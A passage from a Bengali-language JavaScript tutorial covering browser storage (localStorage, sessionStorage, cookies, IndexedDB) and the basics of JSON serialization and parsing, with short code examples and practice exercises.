console.log(isLoggedIn);
Text
true
18.15 Object কি সরাসরি Save করা যায়?

ধরো:

18.15 JavaScriptRun
const user = {
  name: "Shariar",
  age: 24,
};

এভাবে করলে:

18.15 JavaScriptRun
localStorage.setItem("user", user);
সমস্যা হবে।

পরে:

18.15 JavaScriptRun
console.log(localStorage.getItem("user"));

Output হতে পারে:

Text
[object Object]

কারণ Web Storage string-based।

18.16 Object Save করার জন্য `JSON.stringify()
18.16 JavaScriptRun
const user = {
  name: "Shariar",
  age: 24,
  role: "Developer",
};

localStorage.setItem("user", JSON.stringify(user));

এখন object string JSON format-এ save হয়েছে।

18.17 Object Read করার জন্য `JSON.parse()
18.17 JavaScriptRun
const storedUser = localStorage.getItem("user");

const user = JSON.parse(storedUser);

console.log(user);
18.17 JavaScriptRun
{
    name: "Shariar",
    age: 24,
    role: "Developer"
}

এখন:

18.17 JavaScriptRun
console.log(user.name);
Text
Shariar
18.18 JSON + localStorage Formula
এটা খুব ভালোভাবে মনে রাখো:
⚙️ Save:
18.18 JavaScriptRun
localStorage.setItem("user", JSON.stringify(user));
⚙️ Read:
18.18 JavaScriptRun
const user = JSON.parse(localStorage.getItem("user"));
📌 Mental Model
Object ↓ JSON.stringify() ↓ String ↓ localStorage

Read করার সময়:

localStorage ↓ String ↓ JSON.parse() ↓ Object
18.19 Array Save করা
18.19 JavaScriptRun
const skills = ["HTML", "CSS", "JavaScript", "React"];

localStorage.setItem("skills", JSON.stringify(skills));

Read:

18.19 JavaScriptRun
const skills = JSON.parse(localStorage.getItem("skills"));

console.log(skills);
Text
["HTML", "CSS", "JavaScript", "React"]
18.20 Array-এর মধ্যে নতুন Data যোগ করা

ধরো:

18.20 JavaScriptRun
const skills = JSON.parse(localStorage.getItem("skills"));

skills.push("Node.js");

localStorage.setItem("skills", JSON.stringify(skills));

এখন storage-এ:

Text
HTML
CSS
JavaScript
React
Node.js
18.21 Safe JSON Parsing

যদি storage-এ কিছু না থাকে:

18.21 JavaScriptRun
const user = JSON.parse(localStorage.getItem("user"));

getItem() যদি null দেয়, তাহলে JSON.parse(null) JavaScript-এ null দেয়, কিন্তু malformed JSON থাকলে error হতে পারে।

Safe pattern:

18.21 JavaScriptRun
const storedUser = localStorage.getItem("user");

let user = null;

if (storedUser) {
  try {
    user = JSON.parse(storedUser);
  } catch (error) {
    console.error("Invalid stored user data", error);
  }
}

console.log(user);
Part 03 — sessionStorage & Real-World Theme/Dark Mode State (18.22 – 18.27)
18.22 sessionStorage` কী?

sessionStorage-ও key-value storage।

18.22 JavaScriptRun
sessionStorage.setItem("username", "Shariar");

Read:

18.22 JavaScriptRun
console.log(sessionStorage.getItem("username"));
18.23 localStorage vs sessionStorage
FeaturelocalStoragesessionStorage
Data formatStringString
PersistentYesSession-based
Tab-specificNoYes
Browser restartUsually remainsTypically cleared when the page session ends
APISameSame
setItem()YesYes
getItem()YesYes
removeItem()YesYes
clear()YesYes
সহজভাবে
localStorage → "পরের বারও মনে রাখো" sessionStorage → "এই tab/session-এর জন্য রাখো"
18.24 sessionStorage Example

ধরো একটি checkout process:

Step 1 → Personal Info Step 2 → Address Step 3 → Payment

Current tab-এর session-এর মধ্যে temporary state রাখতে:

18.24 JavaScriptRun
sessionStorage.setItem("checkoutStep", "2");

পরে:

18.24 JavaScriptRun
console.log(sessionStorage.getItem("checkoutStep"));
Text
2
18.25 Theme Switcher — Real-life Example

এখন localStorage-এর একটি খুব common use case দেখি।

HTML:

18.25 HTMLMarkup
<button id="themeBtn">Toggle Theme</button>

JavaScript:

18.25 JavaScriptRun
const button = document.querySelector("#themeBtn");

button.addEventListener("click", function () {
  document.body.classList.toggle("dark");

  const isDark = document.body.classList.contains("dark");

  localStorage.setItem("theme", isDark ? "dark" : "light");
});

Page reload হলেও theme preference পাওয়া যাবে।

18.26 Page Load-এর সময় Theme Restore

শুধু save করলে হবে না। Page load হলে read করতে হবে।

18.26 JavaScriptRun
const savedTheme = localStorage.getItem("theme");

if (savedTheme === "dark") {
  document.body.classList.add("dark");
}
Complete Flow
User selects Dark Mode ↓ localStorage.setItem() ↓ Page reload ↓ localStorage.getItem() ↓ Dark Mode restore
18.27 Dark Mode Example

HTML:

18.27 HTMLMarkup
<button id="themeBtn">Dark Mode</button>

CSS:

Text
.dark {
  background: #111;
  color: white;
}

JavaScript:

18.27 JavaScriptRun
const button = document.querySelector("#themeBtn");

const savedTheme = localStorage.getItem("theme");

if (savedTheme === "dark") {
  document.body.classList.add("dark");
}

button.addEventListener("click", function () {
  document.body.classList.toggle("dark");

  const theme = document.body.classList.contains("dark") ? "dark" : "light";

  localStorage.setItem("theme", theme);
});

এটি real-world website-এ খুব common pattern।

Part 04 — Interactive Shopping Cart, Preferences & Storage Security (18.28 – 18.33)
18.28 Shopping Cart with localStorage

ধরো:

18.28 JavaScriptRun
const cart = [
  {
    id: 1,
    name: "Laptop",
    price: 70000,
  },
  {
    id: 2,
    name: "Mouse",
    price: 1500,
  },
];

Save:

18.28 JavaScriptRun
localStorage.setItem("cart", JSON.stringify(cart));

Read:

18.28 JavaScriptRun
const cartData = JSON.parse(localStorage.getItem("cart")) || [];

console.log(cartData);

এখানে:

18.28 JavaScriptRun
|| []

এর কারণে storage-এ cart না থাকলে empty array পাওয়া যাবে।

18.29 Add Product to Cart
18.29 JavaScriptRun
const product = {
  id: 3,
  name: "Keyboard",
  price: 2500,
};

const cart = JSON.parse(localStorage.getItem("cart")) || [];

cart.push(product);

localStorage.setItem("cart", JSON.stringify(cart));
18.30 Remove Product from Cart
18.30 JavaScriptRun
let cart = JSON.parse(localStorage.getItem("cart")) || [];

cart = cart.filter((product) => product.id !== 2);

localStorage.setItem("cart", JSON.stringify(cart));
18.31 localStorage দিয়ে User Preferences

একটি website-এ:

18.31 JavaScriptRun
const settings = {
  theme: "dark",
  language: "bn",
  fontSize: "large",
};

localStorage.setItem("settings", JSON.stringify(settings));

Read:

18.31 JavaScriptRun
const settings = JSON.parse(localStorage.getItem("settings"));

console.log(settings.language);
Text
bn
18.32 Storage-এ Sensitive Data রাখা যাবে?
এখানে খুব গুরুত্বপূর্ণ security concept আছে।

localStorage-এ sensitive information রাখা risky হতে পারে।

বিশেষ করে:

Text
Password
Long-lived secret
Highly sensitive personal information
Authentication secrets

কারণ JavaScript একই origin-এর storage access করতে পারে এবং XSS vulnerability থাকলে attacker storage-এর data পড়তে পারে।

তাই:

❌ Password localStorage-এ রেখো না।

18.32 JavaScriptRun
localStorage.setItem("password", "12345678");

এটা করা উচিত নয়।

18.33 Authentication Token নিয়ে সতর্কতা

অনেক web application authentication-এর জন্য token ব্যবহার করে।

যেমন:

Text
Access Token
Refresh Token
এগুলো কোথায় রাখা হবে—এটি security architecture-এর গুরুত্বপূর্ণ বিষয়।

বিশেষ করে authentication token localStorage-এ রাখার আগে XSS risk বিবেচনা করতে হয়।

Sensitive authentication cookie-এর ক্ষেত্রে server-managed:
Text
HttpOnly
Secure
SameSite

cookie attributes ব্যবহার করা যায়।

Part 05 — HTTP Cookies & Large-Scale IndexedDB Architecture (18.34 – 18.42)
18.34 Cookies কী?

Cookie হলো browser-এ ছোট data store করার একটি mechanism।

Example:

theme=dark language=bn

JavaScript দিয়ে:

18.34 JavaScriptRun
document.cookie = "theme=dark";

Read:

18.34 JavaScriptRun
console.log(document.cookie);
Text
theme=dark
18.35 Cookie vs localStorage
FeaturelocalStorageCookie
StorageClient-sideClient-side
JavaScript accessYesUsually yes, unless HttpOnly
Automatically sent with HTTP requestsNoYes, subject to cookie rules
Sizeতুলনামূলক বেশিছোট
Expirationসাধারণত explicit expiration নয়Expiration সেট করা যায়
Server accessDirectly নয়Request-এর সাথে পাঠানো যায়
Common usePreferences, local app stateSession/auth-related state, server-managed preferences
18.36 Cookie তৈরি করা
18.36 JavaScriptRun
document.cookie = "theme=dark; max-age=3600; path=/";

এখানে:

Text
theme=dark
max-age=3600 seconds
path=/
18.37 Cookie Delete

একটি cookie expire করাতে:

18.37 JavaScriptRun
document.cookie = "theme=; max-age=0; path=/";
18.38 Cookie-এর Important Attributes
Max-Age
Text
max-age=3600

কত seconds পরে expire করবে।

Expires

নির্দিষ্ট expiry time দেওয়া যায়।

Path
Text
path=/

কোন path-এ cookie applicable।

Secure

HTTPS connection-এর মাধ্যমে cookie পাঠাতে নির্দেশ দেয়।

HttpOnly

JavaScript থেকে cookie access বন্ধ করে।

⚠️ HttpOnly cookie JavaScript দিয়ে document.cookie থেকে পড়া যায় না।
SameSite

Cross-site request-এর ক্ষেত্রে cookie behavior নিয়ন্ত্রণে সাহায্য করে।

18.39 IndexedDB কী?

localStorage ছোট/simple data-এর জন্য ভালো।

কিন্তু যদি বড় বা structured client-side data রাখতে হয়, তখন:

Text
IndexedDB

ব্যবহার করা যায়।

এটি browser-এর একটি asynchronous, transactional, structured database API

18.40 IndexedDB কখন ব্যবহার করব?

ধরো তুমি বানাচ্ছো:

Text
Offline Notes App
Offline Video Metadata App
Large Client-side Dataset
Offline-first Web App

এখানে হাজার হাজার structured record থাকতে পারে।

তখন localStorage ideal নয়।

18.41 localStorage vs IndexedDB
বিষয়localStorageIndexedDB
Data typeStringStructured data
APISimpleMore advanced
AsyncNoYes
Large dataNot suitableBetter
TransactionsNoYes
Queries/indexesVery limitedSupported
ComplexityEasyMore complex
18.42 IndexedDB-এর Basic Idea

Conceptually:

Database ↓ Object Store ↓ Records

উদাহরণ:

Database: StudentDB Object Store: students 1 → Shariar 2 → Rahim 3 → Karim

IndexedDB asynchronous হওয়ায় এর code localStorage-এর তুলনায় বেশি complex।

Part 06 — Storage Events, Utility Wrapper & Enterprise Best Practices (18.43 – 18.49)
18.43 Storage Events

একটি interesting browser event হলো:

18.43 JavaScriptRun
window.addEventListener("storage", function (event) {
  console.log(event.key);
  console.log(event.oldValue);
  console.log(event.newValue);
});

storage event সাধারণত অন্য same-origin document/context-এ storage পরিবর্তন হলে useful হয়।

18.44 Storage Event Example

ধরো একই website-এর দুইটি tab খোলা:

Tab A Tab B │ │ │ localStorage.set │ │───────────────────→│ │ │ │ storage event

Tab B পরিবর্তন detect করতে পারে।

18.45 Storage Data Inspect করা

Chrome DevTools-এ:

DevTools ↓ Application ↓ Storage ↓ Local Storage

এখানে দেখতে পারবে:

Key Value ------------------------- theme dark username Shariar cart [...]

এটি debugging-এর জন্য খুব useful।

18.46 localStorage Utility Function

বারবার code না লিখে function তৈরি করতে পারো।

18.46 JavaScriptRun
function saveData(key, value) {
  localStorage.setItem(key, JSON.stringify(value));
}

Use:

18.46 JavaScriptRun
saveData("user", {
  name: "Shariar",
  age: 24,
});
18.47 Generic Read Function
18.47 JavaScriptRun
function getData(key) {
  const data = localStorage.getItem(key);

  if (!data) {
    return null;
  }

  try {
    return JSON.parse(data);
  } catch (error) {
    console.error("Invalid JSON:", error);

    return null;
  }
}

Use:

18.47 JavaScriptRun
const user = getData("user");

console.log(user);

এটি real project-এ utility হিসেবে ব্যবহার করা যায়।

18.48 Storage Wrapper

আরও সুন্দরভাবে:

18.48 JavaScriptRun
const storage = {
  set(key, value) {
    localStorage.setItem(key, JSON.stringify(value));
  },

  get(key) {
    const value = localStorage.getItem(key);

    if (value === null) {
      return null;
    }

    try {
      return JSON.parse(value);
    } catch {
      return null;
    }
  },

  remove(key) {
    localStorage.removeItem(key);
  },

  clear() {
    localStorage.clear();
  },
};

Use:

18.48 JavaScriptRun
storage.set("user", {
  name: "Shariar",
  role: "Developer",
});

Read:

18.48 JavaScriptRun
console.log(storage.get("user"));
18.49 Storage-এর Limitation

localStorage খুব useful হলেও সবকিছুর জন্য নয়।

⚠️ Limitations:
1. String-based 2. Synchronous API 3. Limited storage capacity 4. Same-origin scoped 5. XSS risk 6. Not suitable for large databases 7. Not suitable for secrets
Part 07 — Browser Storage Mastery: Must Know, Cheat Sheet, Practice Lab & Mental Map
MUST KNOW 🔥 18.50 Must Know — Storage Engine Security & Mechanics

এই chapter থেকে অবশ্যই জানতে হবে:

JavaScriptRun
localStorage.setItem();
JavaScriptRun
localStorage.getItem();
JavaScriptRun
localStorage.removeItem();
JavaScriptRun
localStorage.clear();
JavaScriptRun
localStorage.length;
JavaScriptRun
localStorage.key();
JSON Storage
JavaScriptRun
JSON.stringify();
JavaScriptRun
JSON.parse();
Session
JavaScriptRun
sessionStorage.setItem();
JavaScriptRun
sessionStorage.getItem();
Cookies
JavaScriptRun
document.cookie;
Advanced Storage
Text
IndexedDB
CHEAT SHEET 🧠 18.51 Quick Cheat Sheet — Web Storage & Cookies API
কাজCode
SavelocalStorage.setItem("key", "value")
ReadlocalStorage.getItem("key")
Delete onelocalStorage.removeItem("key")
Delete alllocalStorage.clear()
CountlocalStorage.length
Get keylocalStorage.key(index)
Object → StringJSON.stringify(obj)
String → ObjectJSON.parse(str)
Session savesessionStorage.setItem()
Session readsessionStorage.getItem()
Cookiedocument.cookie
Large structured dataIndexedDB
PRACTICE LAB 📝 18.52 Practice Set — 6 Hands-on Production Exercises

Practice 1 — Save User Name

Input থেকে name নিয়ে:

localStorage

এ save করো।

Page reload করার পর name আবার দেখাও।

Practice 2 — Dark Mode

একটি button বানাও:

🌙 Dark Mode ☀️ Light Mode

User preference localStorage-এ save করো।

Practice 3 — Shopping Cart

এই structure ব্যবহার করো:

JavaScriptRun
{
    id: 1,
    name: "Laptop",
    price: 70000
}

Features:

Add Product Remove Product Clear Cart Cart Count Total Price

সব data localStorage-এ রাখো।

Practice 4 — Todo App

Features:

Text
Add Todo
Delete Todo
Mark Complete
Clear All

Page reload করলেও todo যেন থাকে।

Practice 5 — Student Profile

Save:

JavaScriptRun
{
    name: "Shariar",
    studentId: "23105101019",
    department: "CSE",
    university: "Daffodil International University"
}

localStorage-এ save করে reload-এর পর UI-তে দেখাও।

Practice 6 — Session Storage

একটি multi-step form বানাও:

Step 1 → Personal Information Step 2 → Academic Information Step 3 → Confirmation

Current step sessionStorage-এ রাখো।

SUMMARY 🎯 18.53 Final Mental Map — Client Storage Decision Architecture
BROWSER STORAGE │ ┌─────────────┼─────────────┐ ↓ ↓ ↓ localStorage sessionStorage Cookies │ │ │ ↓ ↓ ↓ Persistent Session Request Client Data Data related │ ↓ String-based │ ↓ JSON.stringify() ↓ Storage ↓ JSON.parse() ↓ Object / Array

আর বড় structured offline data হলে:

Large / Structured Data ↓ IndexedDB
📌 ⭐ Chapter 18-এর সবচেয়ে গুরুত্বপূর্ণ Concept

তুমি যদি শুধু একটি জিনিস মনে রাখতে চাও:

JavaScriptRun
const user = {
  name: "Shariar",
  role: "Developer",
};

// Save
localStorage.setItem("user", JSON.stringify(user));

// Read
const savedUser = JSON.parse(localStorage.getItem("user"));

console.log(savedUser);

এই pattern বুঝে ফেললে localStorage + JSON + object/array persistence-এর মূল concept তোমার পরিষ্কার হয়ে যাবে।

Chapter 18 complete.

NEXT CHAPTER 📘 Chapter 19 Preview — JSON (JavaScript Object Notation)

পরবর্তী অধ্যায়ে আমরা আধুনিক ওয়েব কমিউনিকেশন ও ডেটা ইন্টারচেঞ্জের বিশ্বজনীন ফরম্যাট JSON (JavaScript Object Notation) নিয়ে গভীরভাবে শিখব—JSON.stringify(), JSON.parse(), replacer ও reviver ফাংশন, deep clone, circular reference হ্যান্ডলিং এবং API ডেটা ফরম্যাটিং।

Chapter 19
↑ Index
JSON (JavaScript Object Notation) — ডাটা সিরিয়ালাইজেশন ও এপিআই
Total Sections
56 Modules + Practice
Curriculum Part
Part 13 — Data Formats & Network Serialization
Core Mechanics
JSON.stringify(), JSON.parse(), Replacer & Reviver
Reference Standard
RFC 8259 / ECMA-404 / ECMAScript 2026

JSON — Data আদান-প্রদান ও API Communication-এর সবচেয়ে গুরুত্বপূর্ণ Format

আধুনিক ওয়েব ডেভেলপমেন্টে ফ্রন্টএন্ড ও ব্যাকএন্ডের মধ্যে ডেটা আদান-প্রদান, ক্লায়েন্ট-সাইড স্টোরেজে অবজেক্ট পারসিস্ট করা এবং বিভিন্ন সিস্টেমের মধ্যে যোগাযোগ স্থাপনের জন্য JSON (JavaScript Object Notation) হলো সবচেয়ে হালকা, দ্রুত এবং বিশ্বজনীন মানদণ্ড।

JS Object  →  JSON.stringify()  →  JSON String (Payload)  →  Network / Storage  →  JSON.parse()  →  JS Object

ফুলস্ট্যাক ও আধুনিক ফ্রন্টএন্ড ইঞ্জিনিয়ারিংয়ে এপিআই কমিউনিকেশনের ভিত্তিই হলো এই JSON আর্কিটেকচার। 🔥

Part 01 — JSON Fundamentals, Syntax & Data Types (19.1 – 19.14)
19.1 JSON কী?

JSON = JavaScript Object Notation

JSON হলো এমন একটি text-based data format, যেটা বিভিন্ন application-এর মধ্যে data আদান-প্রদানের জন্য ব্যাপকভাবে ব্যবহৃত হয়।

সহজভাবে:

JSON হলো structured data লেখার একটি standard format।

Example:

19.1 JSONData Format
{
  "name": "Shariar",
  "age": 24,
  "role": "Developer"
}

এটি দেখতে JavaScript object-এর মতো।

কিন্তু মনে রাখবে:
JSON নিজে JavaScript Object নয়। JSON হলো text format।
19.2 Real-life Example

ধরো Frontend থেকে Backend-এ user data পাঠাবে।

Frontend:

Text
Name: Shariar
Email: shariar@gmail.com
Age: 24

Backend-এ structured data পাঠানো যায়:

19.2 JSONData Format
{
  "name": "Shariar",
  "email": "shariar@gmail.com",
  "age": 24
}

Backend data process করে database-এ save করতে পারে।

19.3 কেন JSON এত গুরুত্বপূর্ণ?

Modern web development-এ:

Frontend ↓ HTTP Request ↓ API ↓ Backend ↓ Database

এখানে data আদান-প্রদানের জন্য JSON খুব common।

যেমন:

React ↕ REST API ↕ Node.js / Express ↕ Database

তুমি Full Stack Developer হিসেবে JSON প্রায় প্রতিদিনই ব্যবহার করবে।

19.4 JSON-এর Basic Structure
19.4 JSONData Format
{
  "name": "Shariar",
  "age": 24,
  "student": true
}

এখানে:

"name" → Key "Shariar" → Value "age" → Key 24 → Value

অর্থাৎ:

Text
Key : Value
19.5 JSON Data Types

JSON-এ মূলত ৬ ধরনের data থাকে:

String Number Boolean Object Array null
19.6 JSON String
19.6 JSONData Format
{
  "name": "Shariar"
}

String অবশ্যই double quote-এর মধ্যে হবে।

✅ Correct:
19.6 JSONData Format
{
  "name": "Shariar"
}
❌ Invalid JSON:
19.6 JSONData Format
{
  "name": 'Shariar'
}
JSON standard-এ string-এর জন্য double quotes ব্যবহার করতে হয় (Single Quote '...' ব্যবহার করলে SyntaxError হবে)।
19.7 JSON Number
19.7 JSONData Format
{
  "age": 24,
  "price": 70000,
  "rating": 4.5
}

Number-এর জন্য quote লাগে না।

19.8 JSON Boolean
19.8 JSONData Format
{
  "isStudent": true,
  "isActive": false
}

এখানে:

Text
true
false

quote-এর মধ্যে থাকবে না।

19.9 JSON `null
19.9 JSONData Format
{
  "middleName": null
}

এর অর্থ এখানে বর্তমানে কোনো value নেই।

19.10 JSON Array
19.10 JSONData Format
{
  "skills": ["HTML", "CSS", "JavaScript", "React"]
}

Array-এর মধ্যে multiple values রাখা যায়।

19.11 JSON Object

Nested object:

19.11 JSONData Format
{
  "name": "Shariar",
  "address": {
    "city": "Dhaka",
    "country": "Bangladesh"
  }
}

এখানে address নিজেই একটি object।

19.12 Nested JSON

Real-world API response-এ nested data খুব common।

19.12 JSONData Format
{
  "user": {
    "id": 101,
    "name": "Shariar",
    "profile": {
      "role": "Developer",
      "skills": ["JavaScript", "React", "Node.js"]
    }
  }
}

JavaScript-এ:

19.12 JavaScriptRun
console.log(data.user.name);
Text
Shariar

আর:

19.12 JavaScriptRun
console.log(data.user.profile.skills[0]);
JavaScript
19.13 JSON বনাম JavaScript Object

JavaScript object:

19.13 JavaScriptRun
const user = {
  name: "Shariar",
  age: 24,
};

JSON:

19.13 JSONData Format
{
  "name": "Shariar",
  "age": 24
}

দেখতে একই রকম হলেও পার্থক্য আছে।

JavaScript ObjectJSON
JavaScript-এর data structureText-based data format
Key quote ছাড়া হতে পারেKey double quote-এ থাকতে হবে
Single quote string হিসেবে ব্যবহার করা যায়String-এর জন্য double quote
undefined থাকতে পারেundefined নেই
Function থাকতে পারেFunction নেই
Date object থাকতে পারেNative Date type নেই
Methods থাকতে পারেMethods নেই
Directly executable data structureData representation
19.14 JSON কেন JavaScript Object নয়?

ধরো:

19.14 JavaScriptRun
const user = {
  name: "Shariar",
};

console.log(typeof user);
object

এখন:

19.14 JavaScriptRun
const jsonData = '{"name":"Shariar"}';

console.log(typeof jsonData);
Text
string

অর্থাৎ JSON representation সাধারণত JavaScript-এর কাছে string হিসেবে থাকে।

Part 02 — Serialization & Parsing: stringify, parse & The Core Formula (19.15 – 19.23)
19.15 JSON.stringify()

JavaScript value → JSON string

এটাই JSON.stringify()-এর কাজ।

19.15 JavaScriptRun
const user = {
  name: "Shariar",
  age: 24,
};

const jsonData = JSON.stringify(user);

console.log(jsonData);
Text
{"name":"Shariar","age":24}
19.16 typeof JSON.stringify()
19.16 JavaScriptRun
const user = {
  name: "Shariar",
  age: 24,
};

const jsonData = JSON.stringify(user);

console.log(typeof jsonData);
Text
string
19.17 JSON.parse()

JSON string → JavaScript value

19.17 JavaScriptRun
const jsonData = '{"name":"Shariar","age":24}';

const user = JSON.parse(jsonData);

console.log(user);
19.17 JavaScriptRun
{
    name: "Shariar",
    age: 24
}
19.18 JSON.parse()` Type
19.18 JavaScriptRun
console.log(typeof user);
object
19.19 Main JSON Formula
এই দুইটা খুব ভালোভাবে মনে রাখবে:
JavaScript → JSON
19.19 JavaScriptRun
JSON.stringify(data);
JSON → JavaScript
19.19 JavaScriptRun
JSON.parse(json);

Mental model:

JavaScript Object ↓ JSON.stringify() ↓ JSON String

Reverse:

JSON String ↓ JSON.parse() ↓ JavaScript Object
19.20 Array → JSON
19.20 JavaScriptRun
const skills = ["HTML", "CSS", "JavaScript"];

const jsonSkills = JSON.stringify(skills);

console.log(jsonSkills);
["HTML","CSS","JavaScript"]
19.21 JSON → Array
19.21 JavaScriptRun
const jsonSkills = '["HTML","CSS","JavaScript"]';

const skills = JSON.parse(jsonSkills);

console.log(skills);
["HTML", "CSS", "JavaScript"]
19.22 Nested Object → JSON
19.22 JavaScriptRun
const student = {
  name: "Shariar",

  academic: {
    department: "CSE",
    semester: 8,
  },

  skills: ["JavaScript", "React", "Node.js"],
};

const jsonStudent = JSON.stringify(student);

console.log(jsonStudent);
{"name":"Shariar","academic":{"department":"CSE","semester":8},"skills":["JavaScript","React","Node.js"]}
19.23 JSON Pretty Print

Normally JSON এক লাইনে আসে:

19.23 JavaScriptRun
JSON.stringify(student);

কিন্তু readable format চাইলে:

19.23 JavaScriptRun
JSON.stringify(student, null, 2);
19.23 JSONData Format
{
  "name": "Shariar",
  "academic": {
    "department": "CSE",
    "semester": 8
  },
  "skills": ["JavaScript", "React", "Node.js"]
}

এখানে:

2 → indentation

দিচ্ছে।

Part 03 — Advanced Serialization: Replacer, Reviver & Serialization Quirks (19.24 – 19.36)
19.24 JSON.stringify()` এর তিনটি Argument

Syntax:

19.24 JavaScriptRun
JSON.stringify(value, replacer, space);

Example:

19.24 JavaScriptRun
JSON.stringify(user, null, 2);

এখানে:

value → user replacer → null space → 2
19.25 replacer

replacer ব্যবহার করে কোন property JSON-এ থাকবে তা control করা যায়।

19.25 JavaScriptRun
const user = {
  name: "Shariar",
  age: 24,
  password: "secret123",
};

const json = JSON.stringify(user, ["name", "age"]);

console.log(json);
19.25 JSONData Format
{ "name": "Shariar", "age": 24 }

password বাদ গেছে।

⚠️ Sensitive data JSON-এ stringify না করাই ভালো যদি তার প্রয়োজন না থাকে।
19.26 Replacer Function

আরও advanced:

19.26 JavaScriptRun
const user = {
  name: "Shariar",
  age: 24,
  password: "secret",
};

const json = JSON.stringify(user, function (key, value) {
  if (key === "password") {
    return undefined;
  }

  return value;
});

console.log(json);
19.26 JSONData Format
{ "name": "Shariar", "age": 24 }
19.27 JSON.parse()` Reviver

JSON.parse()-এরও second argument আছে:

19.27 JavaScriptRun
JSON.parse(text, reviver);

Example:

19.27 JavaScriptRun
const json = `
{
    "name": "Shariar",
    "age": 24
}
`;

const user = JSON.parse(json, function (key, value) {
  if (key === "age") {
    return value + 1;
  }

  return value;
});

console.log(user);
19.27 JavaScriptRun
{
    name: "Shariar",
    age: 25
}
19.28 JSON এ Function রাখা যায়?

না।

ধরো:

19.28 JavaScriptRun
const user = {
  name: "Shariar",

  greet() {
    console.log("Hello");
  },
};

const json = JSON.stringify(user);

console.log(json);
19.28 JSONData Format
{ "name": "Shariar" }

greet() বাদ গেছে।

কারণ:

JSON data format; executable function রাখার format নয়।
19.29 undefined` এবং JSON
19.29 JavaScriptRun
const user = {
  name: "Shariar",
  age: undefined,
};

console.log(JSON.stringify(user));
19.29 JSONData Format
{ "name": "Shariar" }

Object-এর property হিসেবে undefined সাধারণত বাদ যায়।

19.30 Array-এর মধ্যে `undefined
19.30 JavaScriptRun
const data = ["HTML", undefined, "JavaScript"];

console.log(JSON.stringify(data));
19.30 JSONData Format
["HTML", null, "JavaScript"]

অর্থাৎ array-এর ক্ষেত্রে undefinednull হয়ে যায়।

19.31 NaN` এবং Infinity
19.31 JavaScriptRun
const data = {
  a: NaN,
  b: Infinity,
  c: -Infinity,
};

console.log(JSON.stringify(data));
19.31 JSONData Format
{
  "a": null,
  "b": null,
  "c": null
}

JSON-এ এগুলোর আলাদা standard number representation নেই।

19.32 Date এবং JSON

JavaScript:

19.32 JavaScriptRun
const data = {
  createdAt: new Date(),
};

console.log(JSON.stringify(data));

Date সাধারণত ISO string representation-এ serialize হয়।

উদাহরণ:

19.32 JSONData Format
{
  "createdAt": "2026-09-16T09:55:00.000Z"
}

অর্থাৎ JSON-এ native Date type নেই।

19.33 JSON Parse করার সময় Date

JSON থেকে date parse করলে:

19.33 JavaScriptRun
const data = JSON.parse(json);

console.log(typeof data.createdAt);
Text
string

এটি আবার Date object বানাতে:

19.33 JavaScriptRun
const date = new Date(data.createdAt);

console.log(date);
19.34 Circular Reference

একটি object নিজেকেই reference করলে:

19.34 JavaScriptRun
const user = {
  name: "Shariar",
};

user.self = user;

এখন:

19.34 JavaScriptRun
JSON.stringify(user);
Error হবে:
TypeError: Converting circular structure to JSON

কারণ JSON-এর normal object structure circular reference represent করতে পারে না।

19.35 JSON Parse Error

Invalid JSON parse করলে error হবে।

19.35 JavaScriptRun
const json = '{"name":"Shariar"';

try {
  const data = JSON.parse(json);

  console.log(data);
} catch (error) {
  console.error("Invalid JSON:", error.message);
}
Invalid JSON: ...

এখানে Chapter 14-এর try...catch আবার কাজে লাগছে।

19.36 JSON-এর Common Syntax Rules
Rule 1 — Keys double quotes
19.36 JSONData Format
{
  "name": "Shariar"
}
19.36 JSONData Format
{
  name: "Shariar"
}
Rule 2 — String double quotes
19.36 JSONData Format
{
  "name": "Shariar"
}
19.36 JSONData Format
{
  "name": 'Shariar'
}
Rule 3 — Trailing comma নয়
19.36 JSONData Format
{
  "name": "Shariar",
  "age": 24,
}
19.36 JSONData Format
{
  "name": "Shariar",
  "age": 24
}
Rule 4 — Comments নেই
19.36 JSONData Format
{
  "name": "Shariar" // user name
}

Standard JSON-এ comments নেই।

Part 04 — Modern Web APIs, Fetch & Network Communication (19.37 – 19.43)
19.37 JSON File

JSON আলাদা .json file হিসেবেও রাখা যায়।

File:

students.json

Content:

19.37 JSONData Format
{
  "students": [
    {
      "id": 1,
      "name": "Shariar",
      "department": "CSE"
    },
    {
      "id": 2,
      "name": "Rahim",
      "department": "EEE"
    }
  ]
}

এ ধরনের file configuration বা static data-এর জন্য ব্যবহার করা যায়।

19.38 fetch()` দিয়ে JSON File পড়া

এখানে Chapter 21-এ আমরা fetch() বিস্তারিত শিখব; এখন শুধু JSON-এর সাথে relation দেখছি।

19.38 JavaScriptRun
fetch("students.json")
  .then((response) => response.json())
  .then((data) => {
    console.log(data);
  });
19.38 JavaScriptRun
{
    students: [
        {
            id: 1,
            name: "Shariar",
            department: "CSE"
        },
        ...
    ]
}
19.39 API Response হিসেবে JSON

ধরো server response:

19.39 JSONData Format
{
  "success": true,
  "message": "Login successful",
  "user": {
    "id": 101,
    "name": "Shariar",
    "role": "student"
  }
}

Frontend:

19.39 JavaScriptRun
console.log(data.success);
Text
true

আর:

19.39 JavaScriptRun
console.log(data.user.name);
Text
Shariar
19.40 REST API-তে JSON

একটি typical API request:

POST /api/users

Request body:

19.40 JSONData Format
{
  "name": "Shariar",
  "email": "shariar@gmail.com",
  "role": "student"
}

Server response:

19.40 JSONData Format
{
  "success": true,
  "message": "User created",
  "userId": 101
}

এই pattern তুমি React + Node.js/Express project-এ অনেক দেখবে।

19.41 JSON Headers

HTTP API-তে JSON পাঠানোর সময় সাধারণত:

19.41 JavaScriptRun
Content-Type: application/json

ব্যবহার করা হয়।

JavaScript:

19.41 JavaScriptRun
fetch("/api/users", {
  method: "POST",

  headers: {
    "Content-Type": "application/json",
  },

  body: JSON.stringify({
    name: "Shariar",
    email: "shariar@gmail.com",
  }),
});

এখানে:

19.41 JavaScriptRun
body: JSON.stringify(...)
খুব গুরুত্বপূর্ণ।
19.42 কেন JSON.stringify() দরকার?

এই object:

19.42 JavaScriptRun
{
    name: "Shariar",
    age: 24
}

JavaScript object।

HTTP request body-তে JSON পাঠাতে:

19.42 JavaScriptRun
JSON.stringify({
  name: "Shariar",
  age: 24,
});

হলে:

19.42 JSONData Format
{ "name": "Shariar", "age": 24 }

হয়।

19.43 Server থেকে JSON Response

Server response যদি JSON হয়, তখন:

19.43 JavaScriptRun
const response = await fetch("/api/users");

const data = await response.json();

এখানে:

19.43 JavaScriptRun
response.json();

response body-এর JSON data parse করে JavaScript value দেয়।

এটি Chapter 21-এ বিস্তারিত শিখব।

Part 05 — Deep Cloning, Security, Schema & Array Operations (19.44 – 19.52)
19.44 localStorage + JSON

